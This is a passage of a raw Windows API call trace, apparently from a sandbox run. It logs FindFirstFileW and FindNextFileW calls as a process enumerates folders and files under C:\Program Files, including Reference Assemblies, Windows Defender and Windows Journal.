FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0145.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.438] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.438] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0145.439] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191140 [0145.439] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.439] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0145.439] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0145.493] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.493] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa981eb4a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0145.494] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0145.506] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.506] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0145.506] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0145.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0145.506] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0145.507] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0145.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0145.507] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0145.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191600 [0145.538] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.547] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0145.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0145.548] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.548] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0145.548] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0145.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x424cf18 | out: hHeap=0x300000) returned 1 [0145.548] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0145.549] FindClose (in: hFindFile=0x4191600 | out: hFindFile=0x4191600) returned 1 [0145.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0145.549] FindNextFileW (in: hFindFile=0x4191140, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0145.549] FindClose (in: hFindFile=0x4191140 | out: hFindFile=0x4191140) returned 1 [0145.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0145.550] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0145.550] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0145.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41a42a8 | out: hHeap=0x300000) returned 1 [0145.551] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0145.551] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0145.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4216be0 | out: hHeap=0x300000) returned 1 [0145.553] FindNextFileW (in: hFindFile=0x41910c0, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0145.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0145.554] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.554] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0145.554] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0145.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4216be0 | out: hHeap=0x300000) returned 1 [0145.554] FindNextFileW (in: hFindFile=0x41910c0, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0145.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0145.555] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.555] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0145.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.555] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.555] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0145.556] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0145.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41a42a8 | out: hHeap=0x300000) returned 1 [0145.556] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0145.556] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0145.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4216be0 | out: hHeap=0x300000) returned 1 [0145.556] FindNextFileW (in: hFindFile=0x41910c0, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0145.557] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0145.602] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.602] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0145.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.621] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.621] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, 